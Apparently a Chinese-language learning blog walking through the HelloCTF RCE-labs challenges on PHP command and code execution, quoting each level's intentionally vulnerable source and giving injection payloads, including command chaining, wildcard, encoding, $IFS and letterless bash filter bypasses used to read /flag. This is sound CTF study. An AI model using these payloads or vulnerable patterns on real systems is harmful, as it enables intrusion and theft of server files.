rce之前就经常会碰到 但是一直没有系统的从开头学


https://127.0.0.1/RCE/RCE-labs-main/Level%201/index.php(本地搭建的靶场 不建议 环境是有问题的没法进行复现)

RCE | Lazzaro(比较细致的一个rce总结)

https://github.com/ProbiusOfficial/bashFuck ( 针对Linux终端 bashshell 的无字母命令执行的骚操作)

https://probiusofficial.github.io/bashFuck/ (在线生成工具)

RCE-labs-练习(上) - F0T0ne - 博客园 ( 靶场教程)

RCE-labs(下) - F0T0ne - 博客园

https://www.php.cn/php/php-superglobals.html (超级变量官方详细解释)

无字母数字webshell总结-先知社区

RCE漏洞详解及绕过总结(全面)-CSDN博客(总结绕过方法比较全面的一个)

无字母数字webshell之提高篇 | 离别歌

一些不包含数字和字母的webshell | 离别歌

RCE命令执行漏洞

漏洞描述

指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令

如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等,当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击

漏洞原理

其实和上面的说起来差不太多

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞

命令执行和代码执行

注意这两个的区别

命令执行指的是让操作系统去执行系统命令 它不依赖于编程语言自己本身的语法。如PHP 的 system("ls"),就是执行 Linux 的 ls 命令。

代码执行指的是让程序语言自己去执行一段它能理解的代码。如PHP 中执行 eval($_GET['cmd']),你传入 echo 123;,就是让 PHP 执行一段 PHP 代码。

项目 代码执行(Code Execution) 命令执行(Command Execution)
执行对象 解释型语言代码(如 PHP、Python、JS 等) 操作系统命令(如 ls, cat /flag, ping 8.8.8.8
常见函数(PHP) eval(), assert(), create_function() system(), exec(), shell_exec(), passthru()
输出内容 代码的运行结果(如变量值、函数返回值) 命令执行的结果输出(如目录列表、whoami)
控制程度 更强,可以写 shell、执行文件、持久控制 依赖系统命令,有时受限制(如禁用某些命令)
实际威胁 可利用语言特性读文件、写入一句话木马、反弹 shell 等 拿 flag、反弹 shell,但易被 WAF 限制
通常出现的漏洞 模板注入、eval 利用、反序列化、文件包含 命令拼接、拼写不严谨、黑名单绕过

image-20250804153354017

image-20250804153401039

1. 代码执行(Code Execution)

1
eval($_GET['cmd']);

你可以传:

1
cmd=echo 1+1;

甚至传入任意完整 PHP 代码:

1
2
cmd=system('ls');
cmd=echo file_get_contents('/flag');

这其实是利用 eval 做到的“代码执行 + 命令执行”。

2. 命令执行(Command Execution)

1
system($_GET['cmd']);

你只能传 系统命令,如:

1
2
3
cmd=ls
cmd=cat /flag
cmd=ping -c 4 baidu.com

代码执行是一种能力,命令执行是你想要达到的效果之一。

危险函数利用

system

image-20250723161120330

passthru

image-20250723161149436

exec

image-20250723161224969

需要注意的一点exec要有echo才有回显

RCE-Labs

Level 0

1
2
3
4
5
6
7
8
9
10
11
12
13
$code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;";

$bash = "echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag";

eval($code);

echo "<br>";

system($bash);

highlight_file(__FILE__);

?>

首先定义了两个变量code和bash 然后通过eval执行code的内容 通过system执行base的内容

先来看 $code 和 eval() 这两个语句
$code 是一个字符串变量
其中包含着两个语句
一个是 include(flag.php);, 将 flag.php 的文件内容包含到本文件内容中, 并执行
但是这里并不能看出 flag.php 内容是什么
大概是定义了 $flag 这个变量

另一个语句 echo ‘This will get the flag by eval PHP code: ‘.$flag;
首先是 echo , 这个语法的作用是把后面的字符输出到前端页面
在 echo 后跟着是 ‘This will get the flag by eval PHP code: ‘.$flag; 字符串
把他们进行拆分一下
‘This will get the flag by eval PHP code: ‘
这个是个常规的字符串
这里有个.
这个点是 PHP 中的字符串连接符, 将字符串与其他变量进行连接
并自动进行转换
$flag
这里的 \ 对 $flag 变量进行转义, 使 $flag 变量在这里是 $flag
而非这个变量的值

接着 $code 变量会被传递给 eval() 执行
即eval() 会执行如下两个指令

1
2
include('flag.php');
echo 'This will get the flag by eval PHP code: '.$flag;

这里注意的是, 虽然 $code 变量中 $flag 被转义了, 成为了 $flag
但是在 eval() 中, $flag 就是 $flag, 咩有被转义, 所以 echo 输出的是 $flag 的值

接着来看 $bash 和 system() 这两个语句
与 eval() 不同的是 system() 执行的是系统命令行的 Bash 指令, 而非 PHP 语句
所以 bash 变量中, 先用 echo 输出提示, 然后再使用 cat /flag 获取根目录下flag文件中的内容
或许这里会有疑问
echo 不是 PHP 的语法吗, system 执行的不是 Bash 命令吗, 为什么这里可以用
其实只是刚好同名罢了, echo 在 PHP 和 Bash 中都存在
最后在通过 highlight_file(FILE);
使 index.php 的代码高光显示, 并自然而然地衔接在上文输出之后

Level 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
include ("get_flag.php");

/*--- HelloCTF - RCE靶场 : 一句话木马和代码执行 ---

「代码执行(Code Execution)」 在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的`eval()`函数或Python中的`exec()`函数。

当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞 —— 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval("system('cat /etc/passwd')";); 也被归为代码执行漏洞。

我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)

try POST:
a=echo "Hello,World!";
*/

eval($_POST['a']);

highlight_file(__FILE__);

?>

简单的一句话木马

将 POST 请求的 a 的值传入给 eval() 执行

直接传参a=echo $flag

Level 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session

/*--- HelloCTF - RCE靶场 : PHP代码执行函数 ---

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

function get_fun(){

$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];

}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}

}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

回调函数

回调函数 是作为参数传递给另一个函数,并在该函数内部被调用的函数。在 PHP 中,函数名本身是可以当作字符串变量使用的

先来分析源码:

1
isset($_GET['action']) ? start($_GET['action']) : '';

是一个if语句的判断

首先传递进来的action的参数 当问号后面的条件成立时 就会执行start($_GET[‘action’])这个语句 调用start函数

如果问号后面的语句为假 执行的就是’’单引号里面是空的 就是什么都不干

所以重点就是那个start函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}

}

首先执行了 get_fun 这个函数, 并把函数的返回值赋予给 random_func 这个变量

然后分析getfun这个方法 有个字符串数组fun_list

然后if判断session里有没有random_func

没有的话执行这个语句 $_SESSION[‘random_func’] = $func_list[array_rand($func_list)];
主要看 array_rand($func_list), 它的意思是随机返回一个 func_list 这个数组的一个键值(即索引)

总结来说就是把 func_list 随机一个成员赋值给 SESSION的 random_func 字段

1
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

重点看 preg_replace(‘/_/‘, ‘-‘, $SESSION[‘random_func’]); 函数
第一个参数 ‘/
/‘ 这是正则表达式, 表示要检索的字符串
/ 是正则表达式的分隔符, 常用 /,也可以用 ~ # 等
_ 表示要匹配的字面字符下划线
第二个参数 ’ -’ 表示要替换为的目标字符串
第三个参数 $_SESSION[‘random_func’], 即被操作的字符串

总结来说就是把$_SESSION[‘random_func’]里的下划线变成-

最后将 preg_replace 替换后的 $_SESSION['random_func'] 赋值给 url_fucn 变量

回到start函数

random_func 得到 get_fun 函数的返回值(即func_list数组中随机一个函数方法)

1:判断传入的参数 act (即GET请求传入的action参数) 是不是 r
是的话, 就执行 session_unset(), session_destroy()
即清除当前 Session 的所有字段和删除当前Session对话
2:判断 act 是不是 submit
如果是的话, 就是把 POST 请求的 content 参数交给 user_content 变量
然后执行 hello_ctf 函数, 并把 random_func, user_content 两个变量作为参数传递进去

然后就进入到hello_ctf函数中

1
2
3
4
5
6
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

接着进入 hello_ctf 函数
首先把全局变量 flag 声明进这个函数中, 使这个函数调用的 flag 变量为全局变量 flag
然后对传进的参数 function(即 get_fun() 函数随机选择的函数) 和 contect(即 POST 请求的内容) 进行拼接字符串
然后把拼接后的值传递给 code 变量
如 function 为 eval, contect 为 “ls”
那么 code 就是 eval(“ls”);
然后输出 code 变量
并且使用 eval($code); 执行 code 变量中的代码

总结一下就是
GET 请求中, 通过调节action的值, 是否等于 r, 可以刷新 Session 中的 random_func 的值, 然后如果action的值等于 submit 时, 就用 random_func 中的函数, 以 POST 请求中的 content 参数作为参数, 被 eval() 执行
并且整个代码看下来, 似乎全局变量 $flag 就是我们需要获取的, 那我们的目的就是通过 GET 请求拿到我们想要的 random_func, 然后参数构造 POST 请求传入 content, 从而输出全局变量 $flag

image-20250728104116551

Level 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*

# -*- coding: utf-8 -*-

# @Author: 探姬

# @Date: 2024-08-11 14:34

# @Repo: github.com/ProbiusOfficial/RCE-labs

# @email: admin@hello-ctf.com

# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 ---

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。

当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":

try POST:
a=cat /etc/passwd;

*/

system($_POST['a']);

highlight_file(__FILE__);


?>

post传参执行系统命令比如ls cat就可以了

Level 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"


try GET:
?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

定义了一个hello_server函数

就是把ip这个参数代入执行ping命令

注释部分其实提示了, 要使用 &&, ||, &, ;符号来衔接新的 Shell 语句

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo “Directory not found”

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo “This will run immediately.”

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo “Hello” ; echo “World”

| 符号, 可以称为 管道符

它的作用是将一个命令的输出传递给另一个命令作为输入的符号

因为 cat 接受到输入后, 对显示文件的作用不影响, 所以这里也可以使用它来获取flag

可以记一下 之前都没有很系统的记

1
2
3
4
5
6
7
8
9
10
11
?ip=1.1.1.1&&
cat /flag

?ip=||
cat /flag

?ip=;
cat /flag

?ip=&cat /flag # &需要URL编码
//这几个拼接命令都可以实现

image-20250728111030250

Level 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...


*/

function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

首先是一个判断语句, 判断的条件是 preg_match 函数的结果

在这里 preg_match 有两个参数
一个是 “/flag/“, 一个是函数的 cmd 参数
其作用就是检测 cmd 中是否有 flag 字符
或许会问, 为什么是 flag, 两个 / 去哪了
其实前面 重点看 preg_replace(‘/_/‘, ‘-‘, $_SESSION[‘random_func’]); 函数 就提到了
/ /是 PHP 中 正则表达式 的定界符, 用来表示正则表达式的区间

而判断语句内是die 函数
这个函数是用于停止整个PHP脚本, 并且返回其内容

总的来说就是一个简单过滤 你输入里面不能有flag

来看一下官方文档

通配符

image-20250728112605455

编码/进制

1
2
3
4
5
6
cat "$(echo 'L2ZsYWc=' | base64 -d)"
`echo "Y2F0IC9mbGFn"|base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bash

echo -n 636174202f666c6167 | xxd -r -p | bash # 十六进制
$(printf "\143\141\164\040\057\146\154\141\147\012") # 八进制(or bashfuck)

特殊变量:

image-20250728113100095

空字符

  • 简单来说就是使用引号包裹的字符(或者什么都包裹), 在运行时会除去引号运行

    1
    2
    3
    ?cmd=cat /f''lag
    ?cmd=cat /f'l'ag
    AI写代码12
    • 即上述两个Payload都是执行 cat /flag

反斜杠

?cmd=ca\t /fla\g

Level 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
/*

# -*- coding: utf-8 -*-

# @Author: 探姬

# @Date: 2024-08-11 14:34

# @Repo: github.com/ProbiusOfficial/RCE-labs

# @email: admin@hello-ctf.com

# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 挑战关 ---

刚才,学了什么来着!?

*/

function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

跟上面的匹配很像 就只是改成了匹配这一堆

小写 b 到 z (没有小写 a, 这是个突破口)

大写 A 到 Z

_@#%^&*:{}-+<>”|`;[] 这些符号(注意到了吗, 没有什么符号?)

还有数字可以使用

可以利用的字符只有 数字, 小写a 和 ?, 还有两种斜杆

? 可以匹配任何一个单字符

可以通过 /??a? 对应 /flag

但是 ?作为通配符只在路径中有作用 不用考虑?a?来匹配cat

我们要如何读取文件呢

  • cat虽说是命令, 但是其实也就是个程序
  • 只需要找到其路径, 直接通过路径访问就可以了

读取文件的函数

image-20250728114501121

来看这个

image-20250728114542986

然后你会想到这个题可以用数字 数字没有过滤

进行base64编码

可以发现,我们可以使用一个字母 a 和数字,此时:

1
2
3
4
5
6
7
8
bash-5.1# echo /???/?a?
/bin/cat /bin/tar
bash-5.1# echo /???/?a? /??a?
/bin/cat /bin/tar /flag
bash-5.1# echo /???/?a??64
/bin/base64
bash-5.1# echo /???/?a??64 /??a?
/bin/base64 /flag

所以本题可用的payload:

1
2
/???/?a??64 /??a?  # 使用 /bin/base64 /flag
/bin/?a? /??a? # 使用 /bin/cat /flag

在centos7中可以直接用/来执行 详见极限命令执行1

Level 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
/*

--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。

*/

function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。

代码提示内容如上

image-20250728145943375

限制flag可以使用通配符绕过 限制空格的话有以下几种方法

$IFS

在终端中, 其的默认值是空格、制表符和换行符

1
2
3
4
5
?cmd=cat${IFS}/fl""ag

?cmd=cat$IFS/fl""ag

?cmd=cat%09/fl""ag

重定向

1
?cmd=cat</fl""ag

image-20250728151803857

扩展:过滤 /

1
2
3
4
5
${HOME:0:1}来替代"/":
cat /flag ---->>> cat ${HOME:0:1}flag

$(echo . | tr '!-0' '"-1') 来替代"/":
cat $(echo . | tr '!-0' '"-1')flag

花括号扩展-Shell命令

生成一系列字符串或路径
{a,b,c} 扩展为 a、b、c
{1..5} 扩展为 1 2 3 4 5
{a..z} 扩展为从 a 到 z 的所有字母
还可以组合使用
file_{1..3}.txt 扩展为 file_1.txt file_2.txt file_3.txt
echo {A,B}{1,2} 会输出 A1 A2 B1 B2

绕过的payload就比较简单了 上面的几种都可以

Level 8

啊这个就是重定向的一个例子了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/

function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

文件描述符

image-20250728154401827

Linux 的 < > 其实是对“文件描述符(0、1、2)”的简写,方便我们把输入输出重定向到文件或设备

image-20250728154616216

常见使用方法示例

image-20250728154707082

好的我们回到这道题

现在没有waf限制了 但是同时我们的输出无法显示了

所以我们现在要解决的就是如何把标准输出给显示出来 而不是让他输出到/dev/null

网上说的绕过方法就是加个分号把后面的重定向截断。。怎么这么简单粗暴

还有一种方法是反弹 之后再学

Level 9(RCE + Bash 特性绕过题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <?php 
/*

# -*- coding: utf-8 -*-

# @Author: 探姬

# @Date: 2024-08-11 14:34

# @Repo: github.com/ProbiusOfficial/RCE-labs

# @email: admin@hello-ctf.com

# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

源码提示叽里咕噜说了一大堆其实就是告诉你你现在可以使用bash特有的语法了

image-20250728160544806

image-20250728160641245

https://github.com/ProbiusOfficial/bashFuck

https://probiusofficial.github.io/bashFuck/

贴一下这两个链接

Level 10

RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)

这关是bash的一个新的特性

在bash中,支持二进制的表示整数的形式:$((2#binary))

$((2#10011010)) -> 154

拆开来分析一下

首先是 $((...))

bash$((...))算术扩展(Arithmetic Expansion) 的语法

比如

1
2
3
4
5
6
echo $((3 + 5))   # 输出 8
echo $((10 / 2)) # 输出 5

a=10
b=5
echo $((a + b)) # 输出 15

#binary 是 进制表示法(Base Notation), 表示把后面的二进制串, 转化为十进制
同理 # 前面的 2 也可以是 8, 16, 36, 如下

1
2
3
4
echo $((8#72))  # 输出 58
echo $((16#1A)) # 输出 26
echo $((36#Z)) # 输出 35

这时候问题来了 这里不是过滤了2吗 怎么绕过waf呢

  • 其实只要在嵌套一层 $((...)) 就可以

  • 可以只使用1和<通过左移运算得到2

    $((1<<1))

    所以 $((2#binary)) 可以写为 $(($((1<<1))#binaryStr))

真是涉及到这种进制转换就看的脑子好疼  这关研究完我要去练车了。。。。。。。。。。。。。。。。

然后把 $(($((1<<1))#binaryStr)) 套入到八进制转义中(先到八进制)

注意的是, 这里的 $((2#binary)) 不是直接转为八进制数, 而是转为十进制的数, 而这个十进制数当做八进制使用, 转换步骤详细如下

1
2
3
4
5
6
ls 转为八进制 -> \154\163
使用八进制转义 -> $'\154\163'
使用二进制替换 154 和 163, 这两个数现在当做十进制
154 -> $((2#10011010)) -> $(($((1<<1))#10011010))
163 -> $((2#10100011)) -> $(($((1<<1))#10100011))
于是 $'\154\163' -> $'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'

$’$(($((1<<1))#10011010))$(($((1<<1))#10100011))’

但是这个payload没办法执行结果哦

因为#这个符号在get中有特殊含义(之前在哪道题学到过 这个是个锚点)

所以要进行URL编码才能执行成功

一个字符对应一段编码,就有一个#,所以cat /flag编码后有9个#

Level 11(数字1的特殊变量替换)

bash环境下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
/*

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;

highlight_file(__FILE__);


?>

image-20250728210305192

这一关可以使用的数字只有 0

没有了1怎么使用二进制

这个时候就需要使用间接扩展特性中的$ 基于bash扩展运算的优先级,第一个#是功能作用第二个#作为变量名称 - 0作为字符串长度为1.

1
2
bash-5.1# echo ${##}
1

$0<<<$0<<<$'\$(($(($<<$))#$00$$0$))\$(($(($<<$))#$000$$$$))\$(($(($<<$))#$00$$0$$))\$(($(($<<$))#$00$0000))\$(($(($<<$))#$00$0$$))\$(($(($<<$))#$000$$$$))\$(($(($<<$))#$000$$0$))\$(($(($<<$))#$0$00$00))\$(($(($<<$))#$0$000))\$(($(($<<$))#$$$00$))\$(($(($<<$))#$00$00$0))\$(($(($<<$))#$00$$0$0))\$(($(($<<$))#$000$$0$))\$(($(($<<$))#$00$00$$))'

Level 12(数字0的特殊变量替换)

bash环境下

这一关没有源码

他的环境不是php了而是 python flask

WAF:[A-Za-z0-9”%*+,-./:;=>?@[]^`|&_~]” 不过看网上的有给waf

我的靶场环境有问题

在这一关数字一个都不能用

不过以下几个符号还是可以使用的

1
! # $ ' ( ) < \ { }

这里就要使用间接扩展特性中的${!xxx}, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值

1
2
3
sh-5.1# a=0
sh-5.1# echo ${!a}
/bin/sh

即 ${!a} 就相当于 $0
这样就找到 $0 代替 bash 的平替了
然后 为传递给当前脚本的参数个数, 也就是 0

Level 13(取反)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为 $(()) + 取反 构造任意数字

echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

?>


取反绕过 直接工具出payload

GET 传递参数, 需要进行URL编码

Level 14(7字符RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/

if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

highlight_file(__FILE__);


?>

使用strlen检测命令的长度 只允许命令长度小于8

通配符绕过 压缩一下字符长度就可以了

Level 15(5字符限制RCE-文件名拼接反弹Shell命令)

小密圈里的那些奇技淫巧 | 离别歌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
/*
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_5字符RCE ---
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

